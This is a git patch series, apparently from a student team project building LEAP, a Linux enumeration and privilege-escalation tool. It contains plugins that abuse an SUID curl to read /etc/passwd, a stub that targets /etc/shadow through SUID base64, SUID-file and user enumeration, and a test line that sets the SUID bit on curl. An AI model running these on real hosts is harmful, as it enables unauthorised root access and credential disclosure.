From ef4653fd1084480143c70480e73ffc9e8da97866 Mon Sep 17 00:00:00 2001 From: "Joshua Hallstrom (hallstromj)" Date: Thu, 26 Nov 2020 15:14:56 +0000 Subject: [PATCH 01/31] Updated Readme file to include group conventions --- README.md | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 17cb99f4..a1700adb 100644 --- a/README.md +++ b/README.md @@ -14,17 +14,23 @@ pieces of functionality - we'll refer to them as "plugins". This is a kind of **design by contract**, which you can read about here: . Some things to decide might be: - - Will each piece of functionality be in a separate file or subdirectory? - - Will your team have a naming convention? For example, maybe all - windows enumerators will begin with "wEnum_", linux with "lEnum_" - and so on. + - Will each piece of functionality be in a separate file or subdirectory? TO DO + - Naming Conventions: + lEnum_ + lPrivesc_ + wEnum_ + wPrivesc_ - What will each function return or display? Will each function print out to the user? Or will it return a block of text in a string? Or a list of lines? Or maybe a dict with some meta-info (version, plugin name, plugin author, date, time, etc.) and text data? Or JSON? All are possibilities. + 1.Display to terminal + 2.File - Will you have a standard set of parameters to be passed in? Or can each plugin have a different set of required parameters? + Enumeration- No parameters + Privesc- Specific info for escalation. - What plugins will be implemented? Who will be the author? You should document these decisions here in the `README.md` file. Once From 5a15b7aff42ccd598cb3e3c85e44a9a7a72935af Mon Sep 17 00:00:00 2001 From: "Joshua Hallstrom (hallstromj)" Date: Thu, 26 Nov 2020 15:34:53 +0000 Subject: [PATCH 02/31] Added sections for plugins --- README.md | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/README.md b/README.md index c3156fd1..876b9bd7 100644 --- a/README.md +++ b/README.md @@ -73,6 +73,22 @@ In this project you will be getting experience of working on a project and receiving multiple pull-requests from contributors and at the same time, contributing to the repositories of others. +## Individual Plugins (If you want to do a specific plugin, mark it here) +Josh- + + + +Pedro- + + + +Thane- + + + +Emmanuel- + + From c76e9e2af06e7e9e5eec63b890b7a8b278486cb8 Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Sat, 28 Nov 2020 21:27:47 +0000 Subject: [PATCH 03/31] Update test See if everything is right --- src/leap.py | 1 + 1 file changed, 1 insertion(+) diff --git a/src/leap.py b/src/leap.py index 1a5e85d9..0492bf23 100755 --- a/src/leap.py +++ b/src/leap.py @@ -9,6 +9,7 @@ #And enumerations ens=[] + #a shouldQuit=False From 58b77a56773da5ed6fabffb63e5e3484bccbeac6 Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Sat, 28 Nov 2020 21:30:52 +0000 Subject: [PATCH 04/31] Update leap.py --- src/leap.py | 1 - 1 file changed, 1 deletion(-) diff --git a/src/leap.py b/src/leap.py index 0492bf23..1a5e85d9 100755 --- a/src/leap.py +++ b/src/leap.py @@ -9,7 +9,6 @@ #And enumerations ens=[] - #a shouldQuit=False From 985fe101b3f7cb6a77bc8ab0066f51dfba2b3031 Mon Sep 17 00:00:00 2001 From: "Pedro Gil Tinoco (giltinocop)" Date: Sun, 29 Nov 2020 00:45:02 +0000 Subject: [PATCH 05/31] Update Test --- src/leap.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/leap.py b/src/leap.py index 1a5e85d9..b06ba2b9 100755 --- a/src/leap.py +++ b/src/leap.py @@ -8,8 +8,9 @@ pes.append(DumbSudoEscalation("swordfish")) #And enumerations ens=[] - - + + #a + shouldQuit=False while not shouldQuit: From f149c43d0748f43ef034239100c4a74f61562963 Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Sun, 29 Nov 2020 11:49:19 +0000 Subject: [PATCH 06/31] =?UTF-8?q?1=C2=BA=20Update?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/colors.py | 46 +++++++++++++++++++++++++++ src/js_plugins.py | 51 +++++++++++++++++++++++++++-- src/leap.py | 76 ++++++++++++++++++++++++++++++++++++-------- src/plugins.py | 23 +++++++++++--- src/progresse_bar.py | 13 ++++++++ 5 files changed, 188 insertions(+), 21 deletions(-) create mode 100644 src/colors.py create mode 100644 src/progresse_bar.py diff --git a/src/colors.py b/src/colors.py new file mode 100644 index 00000000..da1bb558 --- /dev/null +++ b/src/colors.py @@ -0,0 +1,46 @@ +class bcolors: + HEADER = '\033[95m' + OKBLUE = '\033[94m' + OKCYAN = '\033[96m' + OKGREEN = '\033[92m' + WARNING = '\033[93m' + FAIL = '\033[91m' + ENDC = '\033[0m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + + CBLACK = '\33[30m' + CRED = '\33[31m' + CGREEN = '\33[32m' + CYELLOW = '\33[33m' + CBLUE = '\33[34m' + CVIOLET = '\33[35m' + CBEIGE = '\33[36m' + CWHITE = '\33[37m' + + CBLACKBG = '\33[40m' + CREDBG = '\33[41m' + CGREENBG = '\33[42m' + CYELLOWBG = '\33[43m' + CBLUEBG = '\33[44m' + CVIOLETBG = '\33[45m' + CBEIGEBG = '\33[46m' + CWHITEBG = '\33[47m' + + CGREY = '\33[90m' + CRED2 = '\33[91m' + CGREEN2 = '\33[92m' + CYELLOW2 = '\33[93m' + CBLUE2 = '\33[94m' + CVIOLET2 = '\33[95m' + CBEIGE2 = '\33[96m' + CWHITE2 = '\33[97m' + + CGREYBG = '\33[100m' + CREDBG2 = '\33[101m' + CGREENBG2 = '\33[102m' + CYELLOWBG2 = '\33[103m' + CBLUEBG2 = '\33[104m' + CVIOLETBG2 = '\33[105m' + CBEIGEBG2 = '\33[106m' + CWHITEBG2 = '\33[107m' \ No newline at end of file diff --git a/src/js_plugins.py b/src/js_plugins.py index 6024f093..837a39c1 100644 --- a/src/js_plugins.py +++ b/src/js_plugins.py @@ -1,6 +1,6 @@ """ Plugins for LEAP designed by James Shuttleworth """ -from plugins import PrivEsc, Enumeration +from plugins import Information, PrivEsc, Enumeration import os, tempfile @@ -8,6 +8,10 @@ import pty +from colors import bcolors + +import netifaces as ni + # A very basic method, but useful def shellRun(command): @@ -22,16 +26,15 @@ def shellRun(command): pty.spawn("/bin/bash") #os.system(fname) os.unlink(fname) + print('\033c') # clean console class DumbSudoEscalation(PrivEsc): """An example plugin that tries to use `sudo su` to get root. - Requires being given the password for the current user and relies on the current user having sudo privs, so while technically it escalates proveleges, it does so only if you already have the right credentials - """ def __init__(self, pw): PrivEsc.__init__(self) @@ -44,3 +47,45 @@ def execute(self): shellRun("sudo xterm") print("Done") + +import subprocess + +def grabOutput(command): + sp = subprocess.run(command, stdout=subprocess.PIPE) + return sp.stdout.decode() + +class HostInfo(Information): + def __init__(self): + Information.__init__(self) + print("\n", end="") + + print('\tHostname: ' + '\n\t-> ' + grabOutput("hostname"), end="") + + print('\n\tUser: ' + '\n\t-> ' + grabOutput("whoami"), end="") + + + """ + print("\n\tID Info: ") + idData = grabOutput("id") + parts = idData.split(" ") + for part in parts[:2]: + print(f"\t-> {part}") + + print("\n\tGroup Info: ") + groups = parts[2][7:].split(".") + for g in groups: + print(f"\t-> {g}") + """ + + + + print("\n\tIP Adress: ") + ni.ifaddresses('eth0') + ip = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] + print("\t-> eth0: " + ip) + + + + + + \ No newline at end of file diff --git a/src/leap.py b/src/leap.py index b06ba2b9..a549a09e 100755 --- a/src/leap.py +++ b/src/leap.py @@ -1,40 +1,86 @@ #!/usr/bin/env python3 -from js_plugins import DumbSudoEscalation +from progresse_bar import progress +from colors import bcolors + +#--PRIVILEGE ESCALATION------------------ +from js_plugins import DumbSudoEscalation + +#--ENUMERATION--------------------------- +from js_plugins import HostInfo + +#--LIBRARIES---------------------------- +import time +import argparse +import subprocess +import os + + if __name__=="__main__": + + print('\033c') # clean console + #Make a list of available privescs pes=[] pes.append(DumbSudoEscalation("swordfish")) + #And enumerations ens=[] - #a - + shouldQuit=False - while not shouldQuit: - print("=".join("-"*10)) - print(" Logo here...") - print("LEAP Menu") + print('\033c') # clean console + + """ + #Progresse bar loading + total = 1000 + i = 0 + print("LOADING") + while i < total: + progress(i, total, status='') + time.sleep(0.001) # emulating long-playing job + i += 1 - print("\nPrivescs:") + print('\033c') # clean console + """ + + + while not shouldQuit: + + print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[BASIC INFORMATION]" + bcolors.ENDC + bcolors.CGREY + "="*37 + bcolors.ENDC) + + info=[] + info.append(HostInfo()) + + print("\n\t MORE[+]\n") + + print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[MENU]" + bcolors.ENDC + bcolors.CGREY + "="*50 + bcolors.ENDC) + + print(bcolors.CGREEN + "\n[PRIVILEGE ESC]" + bcolors.ENDC) + print("\t|") for i in range(len(pes)): - print(f"\tP{i}: {pes[i].name}") + print("\t|-" + bcolors.CRED + f"[P{i}] " + bcolors.ENDC + bcolors.BOLD + bcolors.UNDERLINE + f"{pes[i].name}" + bcolors.ENDC) - print("\nEnumerations:") + print(bcolors.CGREEN + "\n[ENUMERATION]" + bcolors.ENDC) + print("\t|") for i in range(len(ens)): - print(f"\tE{i}: {ens[i].name}") + print("\t|-" + bcolors.CRED + f"[P{i}] " + bcolors.ENDC + bcolors.BOLD + bcolors.UNDERLINE + f"{ens[i].name}" + bcolors.ENDC) + + print("\n") + print(bcolors.CGREY + "="*60 + bcolors.ENDC) print("\nQ to quit") print() userInput=input("Enter a selection: ") - print("-"*20) + print(bcolors.CGREY + "="*60 + bcolors.ENDC) #remove whitespace, make uppercase userInput=userInput.strip().upper() if userInput == "Q": shouldQuit=True + print('\033c') # clean console elif (userInput[0] in ["P","E"] and #Privesc or enumeration len(userInput)>1): #Make sure it's more than 1 letter @@ -52,9 +98,11 @@ if index Date: Sun, 29 Nov 2020 11:53:26 +0000 Subject: [PATCH 07/31] Files Update Contain some parts of the project and Links --- documents/enumeration.txt | 11 +++++++++++ documents/links.txt | 3 +++ 2 files changed, 14 insertions(+) create mode 100644 documents/enumeration.txt create mode 100644 documents/links.txt diff --git a/documents/enumeration.txt b/documents/enumeration.txt new file mode 100644 index 00000000..b5bc67f2 --- /dev/null +++ b/documents/enumeration.txt @@ -0,0 +1,11 @@ + + #subprocess.call('cat /proc/version', shell=True) + + #configuration files can be read/written in /etc/ + #subprocess.call('find /etc/ -readable -type f 2>/dev/null', shell=True) + + #information can be found in /var/ + #subprocess.call("ls -alh /var/log", shell=True) + + + #print("\tCurrent Directory:", "\n\t\t-> " + grabOutput("pwd")) \ No newline at end of file diff --git a/documents/links.txt b/documents/links.txt new file mode 100644 index 00000000..b5f8ca9c --- /dev/null +++ b/documents/links.txt @@ -0,0 +1,3 @@ + +Python Execute Unix / Linux Command Examples: +https://www.cyberciti.biz/faq/python-execute-unix-linux-command-examples/ \ No newline at end of file From 17af529425892ceb2de36c46f3831b51ecaacb97 Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Sun, 29 Nov 2020 17:43:47 +0000 Subject: [PATCH 08/31] Update Just save some new files and new enumerations --- src/all_information.py | 18 ++++++++++++++++++ src/js_plugins.py | 27 +++++++++++++++++++------- src/leap.py | 43 ++++++++++++++++++++++++------------------ src/plugins.py | 1 + src/test.py | 27 ++++++++++++++++++++++++++ 5 files changed, 91 insertions(+), 25 deletions(-) create mode 100644 src/all_information.py create mode 100644 src/test.py diff --git a/src/all_information.py b/src/all_information.py new file mode 100644 index 00000000..bc12f535 --- /dev/null +++ b/src/all_information.py @@ -0,0 +1,18 @@ + +from colors import bcolors + +from js_plugins import HostInfo + +import os +import subprocess + +if __name__=="__main__": + + print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[BASIC INFORMATION]" + bcolors.ENDC + bcolors.CGREY + "="*37 + bcolors.ENDC) + + info=[] + info.append(HostInfo()) + + + print(bcolors.CGREY + "="*60 + bcolors.ENDC) + \ No newline at end of file diff --git a/src/js_plugins.py b/src/js_plugins.py index 837a39c1..e1a08b53 100644 --- a/src/js_plugins.py +++ b/src/js_plugins.py @@ -12,6 +12,8 @@ import netifaces as ni +import subprocess + # A very basic method, but useful def shellRun(command): @@ -48,7 +50,22 @@ def execute(self): shellRun("sudo xterm") print("Done") -import subprocess + +class FileSystem(Enumeration): + def __init__(self): + Enumeration.__init__(self) + self.name="File Systems" + self.author="Pedro Tinoco" + self.description="Use sudo to 'hack' into the root account" + + def execute(self): + print('\033c') # clean console + print("[READ/WRITE IN /ETC]---- ") + subprocess.call("ls -alh /var/log", shell=True) + + + + def grabOutput(command): sp = subprocess.run(command, stdout=subprocess.PIPE) @@ -61,10 +78,10 @@ def __init__(self): print('\tHostname: ' + '\n\t-> ' + grabOutput("hostname"), end="") - print('\n\tUser: ' + '\n\t-> ' + grabOutput("whoami"), end="") + print('\tUser: ' + '\n\t-> ' + grabOutput("whoami"), end="") + #print('\n\tUser: ' + '\n\t-> ' + grabOutput("w"), end="") - """ print("\n\tID Info: ") idData = grabOutput("id") parts = idData.split(" ") @@ -75,9 +92,6 @@ def __init__(self): groups = parts[2][7:].split(".") for g in groups: print(f"\t-> {g}") - """ - - print("\n\tIP Adress: ") ni.ifaddresses('eth0') @@ -86,6 +100,5 @@ def __init__(self): - \ No newline at end of file diff --git a/src/leap.py b/src/leap.py index a549a09e..d8689133 100755 --- a/src/leap.py +++ b/src/leap.py @@ -7,13 +7,13 @@ from js_plugins import DumbSudoEscalation #--ENUMERATION--------------------------- -from js_plugins import HostInfo +from js_plugins import FileSystem #--LIBRARIES---------------------------- import time -import argparse -import subprocess import os +import subprocess +import argparse @@ -27,12 +27,15 @@ #And enumerations ens=[] + ens.append(FileSystem()) + shouldQuit=False print('\033c') # clean console + """ #Progresse bar loading total = 1000 @@ -45,17 +48,9 @@ print('\033c') # clean console """ - while not shouldQuit: - print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[BASIC INFORMATION]" + bcolors.ENDC + bcolors.CGREY + "="*37 + bcolors.ENDC) - - info=[] - info.append(HostInfo()) - - print("\n\t MORE[+]\n") - print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[MENU]" + bcolors.ENDC + bcolors.CGREY + "="*50 + bcolors.ENDC) print(bcolors.CGREEN + "\n[PRIVILEGE ESC]" + bcolors.ENDC) @@ -66,12 +61,12 @@ print(bcolors.CGREEN + "\n[ENUMERATION]" + bcolors.ENDC) print("\t|") for i in range(len(ens)): - print("\t|-" + bcolors.CRED + f"[P{i}] " + bcolors.ENDC + bcolors.BOLD + bcolors.UNDERLINE + f"{ens[i].name}" + bcolors.ENDC) + print("\t|-" + bcolors.CRED + f"[E{i}] " + bcolors.ENDC + bcolors.BOLD + bcolors.UNDERLINE + f"{ens[i].name}" + bcolors.ENDC) print("\n") print(bcolors.CGREY + "="*60 + bcolors.ENDC) - print("\nQ to quit") + print("\nBASIC INFORMATION[+] \nRESET[R] \nEXIT[Q]") print() userInput=input("Enter a selection: ") print(bcolors.CGREY + "="*60 + bcolors.ENDC) @@ -81,17 +76,26 @@ if userInput == "Q": shouldQuit=True print('\033c') # clean console - - elif (userInput[0] in ["P","E"] and #Privesc or enumeration - len(userInput)>1): #Make sure it's more than 1 letter + elif userInput == "+": + print('\033c') + os.system('python3 all_information.py') + + elif userInput == "R": + print('\033c') + + + #Privesc or enumeration + elif (userInput[0] in ["P","E"] and len(userInput)>1): #Make sure it's more than 1 letter + + print('\033c') # clean console useList=ens if userInput[0]=="P": useList=pes index=userInput[1:] #Get the number part... for i in index: if not i.isdigit(): - print("Invalid selection:",userInput) + print("Invalid selection:", userInput) break else: index=int(index) #Make it a number @@ -100,7 +104,10 @@ print(chosen.info()) yesno=input("Enter Y in capitals to execute... ") if yesno.strip()=="Y": - chosen.execute() + chosen.execute(); + + + else: print("Unknown command") diff --git a/src/plugins.py b/src/plugins.py index c3d2bfb4..2902fe48 100644 --- a/src/plugins.py +++ b/src/plugins.py @@ -14,6 +14,7 @@ def __init__(self): self.author="James Shuttleworth" self.description="Someone needs to write this bit" self.version = 1.0 + def execute(self): """Execute the privelege escalation/enumeration, dropping the user into a shell or displaying collected info. diff --git a/src/test.py b/src/test.py new file mode 100644 index 00000000..04c08026 --- /dev/null +++ b/src/test.py @@ -0,0 +1,27 @@ +import os +import subprocess + + +dic = { 'E1':'find /etc/ -readable -type f 2>/dev/null', 'E2':'whoami'} + +choise = input("Select: ") + +for key, values in dic.items(): + if choise == key: + subprocess.call('find /etc/ -readable -type f 2>/dev/null', shell=True) + + + + + + + + + + + + + + + + From 057e6d9e1c49c87156bebfba3968e0727b928922 Mon Sep 17 00:00:00 2001 From: "Joshua Hallstrom (hallstromj)" Date: Mon, 30 Nov 2020 15:28:07 +0000 Subject: [PATCH 09/31] Update README.md --- README.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/README.md b/README.md index 876b9bd7..02904b2a 100644 --- a/README.md +++ b/README.md @@ -74,13 +74,14 @@ and receiving multiple pull-requests from contributors and at the same time, contributing to the repositories of others. ## Individual Plugins (If you want to do a specific plugin, mark it here) -Josh- - - - -Pedro- - - +Josh- Linux +Operating System +Confidential Information/Users +Base64 Privesc + +Pedro- Linux +File Systems +Services/Applications Thane- From 64104a60639bfa39c11a62489f883719fee00760 Mon Sep 17 00:00:00 2001 From: "Joshua Hallstrom (hallstromj)" Date: Mon, 30 Nov 2020 15:28:46 +0000 Subject: [PATCH 10/31] Update README.md --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index 02904b2a..a100358d 100644 --- a/README.md +++ b/README.md @@ -75,13 +75,13 @@ time, contributing to the repositories of others. ## Individual Plugins (If you want to do a specific plugin, mark it here) Josh- Linux -Operating System -Confidential Information/Users +Operating System, +Confidential Information/Users, Base64 Privesc Pedro- Linux -File Systems -Services/Applications +File Systems, +Services/Applications, Thane- From 2a548d4f72db9613321b61fb5a2f76e343ab6398 Mon Sep 17 00:00:00 2001 From: Gav Date: Wed, 2 Dec 2020 22:29:24 +0000 Subject: [PATCH 11/31] Created jh_plugins to hold my plugins, updated main file to include on menu, started Operating system enumeration. --- requirements.txt | 1 + src/jh_plugins.py | 49 +++++++++++++++++++++++++++++++++++++++++++++++ src/leap.py | 5 +++-- src/plugins.py | 4 ++++ 4 files changed, 57 insertions(+), 2 deletions(-) create mode 100644 src/jh_plugins.py diff --git a/requirements.txt b/requirements.txt index 8d98d363..33832f59 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ pytest pdoc3 + diff --git a/src/jh_plugins.py b/src/jh_plugins.py new file mode 100644 index 00000000..23a56055 --- /dev/null +++ b/src/jh_plugins.py @@ -0,0 +1,49 @@ +""" Plugins for LEAP designed by Josh Hallstrom """ + +from plugins import PrivEsc, Enumeration + +import os, tempfile + +import subprocess + +import pty + + +# A very basic method, but useful +def shellRun(command): + """ Put given commands into a temporary file, spawn a shell and explain how to use the command """ + f = tempfile.NamedTemporaryFile(delete=False) + fname=f.name + f.write(command.encode()) + f.close() + os.system(f"chmod u+x {fname}") + print(f"Execute command with '{fname}'...\nCtrl-D to leave shell") + + pty.spawn("/bin/bash") + #os.system(fname) + os.unlink(fname) + +def grabOutput(command): + sp=subprocess.run(command, stdout=subprocess.PIPE) + return sp.stdout.decode() + +class lEnum_OperatingSystem(Enumeration): + def __init__(self): + Enumeration.__init__(self) + self.name="lEnum_OperatingSystem: Gathers information on the host operating system." + self.author="Josh Hallstrom" + self.description="" + def execute(self): + temp="" + print("Executing...") + print() + distData=grabOutput(['cat', '/etc/issue']) + parts=distData.split() + print(f"Distribution Type: {parts[0]}") + print(f"Distribution Version: {parts[1]}") + linuxData=grabOutput(['uname', '-mrs']) + parts=linuxData.split() + print(f"Linux Version: {parts[1]}") + print(f"Architecture: {parts[2]}") + + diff --git a/src/leap.py b/src/leap.py index 1a5e85d9..60d9da0e 100755 --- a/src/leap.py +++ b/src/leap.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 -from js_plugins import DumbSudoEscalation +from js_plugins import DumbSudoEscalation +from jh_plugins import lEnum_OperatingSystem if __name__=="__main__": #Make a list of available privescs @@ -8,7 +9,7 @@ pes.append(DumbSudoEscalation("swordfish")) #And enumerations ens=[] - + ens.append(lEnum_OperatingSystem()) shouldQuit=False diff --git a/src/plugins.py b/src/plugins.py index 68ca5039..ed158ee4 100644 --- a/src/plugins.py +++ b/src/plugins.py @@ -27,7 +27,11 @@ def info(self): return f"{self.name}, by {self.author}. {self.description}" class PrivEsc(Item): + def info(self): + return "PRIVESC: "+Item.info(self) pass class Enumeration(Item): + def info(self): + return "ENUMERATION: "+Item.info(self) pass From 8448ac62c5fb4de68129d10af81dcb1d2f050f10 Mon Sep 17 00:00:00 2001 From: mospher <63190518+mospher142@users.noreply.github.com> Date: Thu, 3 Dec 2020 23:23:21 +0000 Subject: [PATCH 12/31] Update Enumeration --- documents/enumeration.txt | 42 ++++++++++++++++- src/js_plugins.py | 94 ++++++++++++++++++++++++--------------- src/leap.py | 21 ++++++--- src/plugins.py | 2 +- src/test.py | 6 +-- 5 files changed, 116 insertions(+), 49 deletions(-) diff --git a/documents/enumeration.txt b/documents/enumeration.txt index b5bc67f2..d15f7c1e 100644 --- a/documents/enumeration.txt +++ b/documents/enumeration.txt @@ -8,4 +8,44 @@ #subprocess.call("ls -alh /var/log", shell=True) - #print("\tCurrent Directory:", "\n\t\t-> " + grabOutput("pwd")) \ No newline at end of file + #print("\tCurrent Directory:", "\n\t\t-> " + grabOutput("pwd")) + + + + Enumeration of services and applications + + ->What services are running, and in which user-context (which user has privilege) + ->What are the versions of the running services? + ->What applications are installed, and what versions? It might be worth to check if they are currently running + ->Do any of these services have vulnerable plugins or configurations. + ->What jobs are scheduled? + ->Any plain text usernames and/or passwords? + + Enumeration of the file-systems + + ->What configuration files can be read/written in /etc/ ? + ->What information can be found in /var/ ? + ->Any settings/files (hidden) on website? Any settings file with database information? + ->Is there anything in the log file(s) (Could help with “Local File Includes”!) + ->Identify SUID and GUID files + + + + + + + + + + + + + + + + + + + + + diff --git a/src/js_plugins.py b/src/js_plugins.py index e1a08b53..237132b5 100644 --- a/src/js_plugins.py +++ b/src/js_plugins.py @@ -2,17 +2,13 @@ from plugins import Information, PrivEsc, Enumeration -import os, tempfile - from subprocess import Popen, PIPE -import pty - from colors import bcolors -import netifaces as ni +import platform -import subprocess +import os, subprocess, tempfile, pathlib, pty, stat, time # A very basic method, but useful @@ -31,40 +27,66 @@ def shellRun(command): print('\033c') # clean console -class DumbSudoEscalation(PrivEsc): - """An example plugin that tries to use `sudo su` to get root. - Requires being given the password for the current user and relies - on the current user having sudo privs, so while technically it - escalates proveleges, it does so only if you already have the - right credentials - """ - def __init__(self, pw): - PrivEsc.__init__(self) - self.pw=pw - self.name="DumbSudoEscalation - not that useful" - self.author="James Shuttleworth" - self.description="Use sudo to 'hack' into the root account" + +def checkBinary(p): + pl=pathlib.Path(p) + exists = pl.exists() + suid=False + if exists: + suid=(pl.stat().st_mode & stat.S_ISUID) != 0 + + return(exists, suid) + + +class Curl(PrivEsc): + def __init__(self): + self.name="CurlEscalator" + self.author="" + self.description="" def execute(self): - print("Executing") - - shellRun("sudo xterm") - print("Done") + print('\033c') # clean console + curlPath="/usr/bin/curl" + exists, suid=checkBinary(curlPath) + if not exists: + print(f"{curlPath} does not exist" ) + return + if not suid: + print(f'Curl not have the SUID bit set') + return + output = grabOutput(["/usr/bin/curl", "file:///etc/passwd"]) + print(output) class FileSystem(Enumeration): def __init__(self): Enumeration.__init__(self) - self.name="File Systems" + self.name="File Systems - Identify SUID and GUID files" self.author="Pedro Tinoco" - self.description="Use sudo to 'hack' into the root account" - + self.description="" + self.version = "1.0" + self.distribution="Linux" + def execute(self): + print('\033c') + print("WARNING: THIS GONNA TAKE A WHILE") + time.sleep(2) print('\033c') # clean console - print("[READ/WRITE IN /ETC]---- ") - subprocess.call("ls -alh /var/log", shell=True) - - + print("===[Identify SUID and GUID files]","="*36) + subprocess.call("find / -perm -u=s -type f 2>/dev/null", shell=True) +class Service_Applications(Enumeration): + def __init__(self): + Enumeration.__init__(self) + self.name="Service and Applications - What are the versions of the running services" + self.author="Pedro Tinoco" + self.description="Of the services displayed, which are vulnerable? It might be a long check but it might pay off." + self.version = "1.0" + self.distribution="Linux" + + def execute(self): + print('\033c') # clean console + print("===[What are the versions of the running services]","="*36) + subprocess.call("ps -ef | grep root", shell=True) def grabOutput(command): @@ -78,25 +100,23 @@ def __init__(self): print('\tHostname: ' + '\n\t-> ' + grabOutput("hostname"), end="") - print('\tUser: ' + '\n\t-> ' + grabOutput("whoami"), end="") + print('\n\tUser: ' + '\n\t-> ' + grabOutput("whoami"), end="") + + print('\n\tOS: ' + '\n\t-> ' + platform.system(), end="") #print('\n\tUser: ' + '\n\t-> ' + grabOutput("w"), end="") - print("\n\tID Info: ") + print("\n\n\tID Info: ") idData = grabOutput("id") parts = idData.split(" ") for part in parts[:2]: print(f"\t-> {part}") print("\n\tGroup Info: ") - groups = parts[2][7:].split(".") + groups = parts[2][7:].split(",") for g in groups: print(f"\t-> {g}") - print("\n\tIP Adress: ") - ni.ifaddresses('eth0') - ip = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] - print("\t-> eth0: " + ip) diff --git a/src/leap.py b/src/leap.py index d8689133..d4203c43 100755 --- a/src/leap.py +++ b/src/leap.py @@ -4,16 +4,17 @@ from colors import bcolors #--PRIVILEGE ESCALATION------------------ -from js_plugins import DumbSudoEscalation +from js_plugins import Curl #--ENUMERATION--------------------------- from js_plugins import FileSystem - +from js_plugins import Service_Applications #--LIBRARIES---------------------------- import time import os import subprocess import argparse +import platform @@ -23,12 +24,12 @@ #Make a list of available privescs pes=[] - pes.append(DumbSudoEscalation("swordfish")) + #And enumerations ens=[] ens.append(FileSystem()) - + ens.append(Service_Applications()) shouldQuit=False @@ -41,16 +42,22 @@ total = 1000 i = 0 print("LOADING") + while i < total: progress(i, total, status='') time.sleep(0.001) # emulating long-playing job i += 1 + """ + print('\033c') # clean console - """ + while not shouldQuit: + s=platform.system() + print(f"OS: {s}") + print(bcolors.CGREY + "====" + bcolors.ENDC + bcolors.WARNING + "[MENU]" + bcolors.ENDC + bcolors.CGREY + "="*50 + bcolors.ENDC) print(bcolors.CGREEN + "\n[PRIVILEGE ESC]" + bcolors.ENDC) @@ -102,8 +109,8 @@ if index/dev/null', 'E2':'whoami'} - +""" choise = input("Select: ") for key, values in dic.items(): if choise == key: subprocess.call('find /etc/ -readable -type f 2>/dev/null', shell=True) +""" - - +os.system("chmod s+ /usr/bin/curl") From bd0be2998c38ae229c2ec704a0f1c22f1686e2ac Mon Sep 17 00:00:00 2001 From: Gav Date: Fri, 4 Dec 2020 23:39:04 +0000 Subject: [PATCH 13/31] completed enumeration, started Base64 escalation. updated leap.py to make the menu work --- src/jh_plugins.py | 65 ++++++++++++++++++++++++++++++++++++++++++++--- src/leap.py | 2 ++ 2 files changed, 64 insertions(+), 3 deletions(-) diff --git a/src/jh_plugins.py b/src/jh_plugins.py index 23a56055..046ce320 100644 --- a/src/jh_plugins.py +++ b/src/jh_plugins.py @@ -4,6 +4,8 @@ import os, tempfile +import pathlib,stat + import subprocess import pty @@ -27,12 +29,60 @@ def grabOutput(command): sp=subprocess.run(command, stdout=subprocess.PIPE) return sp.stdout.decode() +class lEnum_ConfidentialInfoandUsers(Enumeration): + def __init__(self): + Enumeration.__init__(self) + self.name="lEnum_ConfidentialInfoandUsers" + self.author="Josh Hallstrom" + self.description="Gathers information on the hosts confidential information and users" + def execute(self): + temp="" + print("Executing...") + print() + print(f"Current user: "+grabOutput(['whoami'])) + print(f"ID info:") + idData=grabOutput("id") + parts = idData.split() + for part in parts[:2]: + print(f"\t{part}") + print() + print("Group Info:") + parts=parts[2].split("=") + groups=parts[1].split(",") + for group in groups: + print(f"\t{group}") + print() + print(f"Logged in users:") + userData=grabOutput(['who']) + parts=userData.split('\n') + for user in parts: + if user=="": + continue + userParts=user.split() + print(f"\tuser name: {userParts[0]}") + print(f"\tuser login date: {userParts[2]}") + print(f"\tuser login time: {userParts[3]}") + print() + print(f"List of all users:") + userData=grabOutput(["cat", "/etc/passwd"]) + parts=userData.split("\n") + for part in parts: + userParts=part.split(":") + print(f"\t{userParts[0]}") + print(f"List of super users:") + superuserData=grabOutput(["awk", "-F:", '($3 == "0") {print}', "/etc/passwd"]) + parts=superuserData.split("\n") + for part in parts: + superuserParts=part.split(":") + print(f"\t{superuserParts[0]}") + + class lEnum_OperatingSystem(Enumeration): def __init__(self): Enumeration.__init__(self) - self.name="lEnum_OperatingSystem: Gathers information on the host operating system." + self.name="lEnum_OperatingSystem" self.author="Josh Hallstrom" - self.description="" + self.description="Gathers information on the host operating system" def execute(self): temp="" print("Executing...") @@ -45,5 +95,14 @@ def execute(self): parts=linuxData.split() print(f"Linux Version: {parts[1]}") print(f"Architecture: {parts[2]}") - + languageData=grabOutput(['env']) + parts=languageData.split() + parts=parts[6].split("=") + print(f"Language: {parts[1]}") +class lPrivesc_Base64Escalator(PrivEsc): + def __init__(self): + self.name="Base64Escalator" + self.author="Josh Hallstrom" + self.description="Uses a dangerous SUID bit on Base64 to get the contents of /etc/shadow" + diff --git a/src/leap.py b/src/leap.py index 60d9da0e..3d4f2f42 100755 --- a/src/leap.py +++ b/src/leap.py @@ -2,6 +2,7 @@ from js_plugins import DumbSudoEscalation from jh_plugins import lEnum_OperatingSystem +from jh_plugins import lEnum_ConfidentialInfoandUsers if __name__=="__main__": #Make a list of available privescs @@ -10,6 +11,7 @@ #And enumerations ens=[] ens.append(lEnum_OperatingSystem()) + 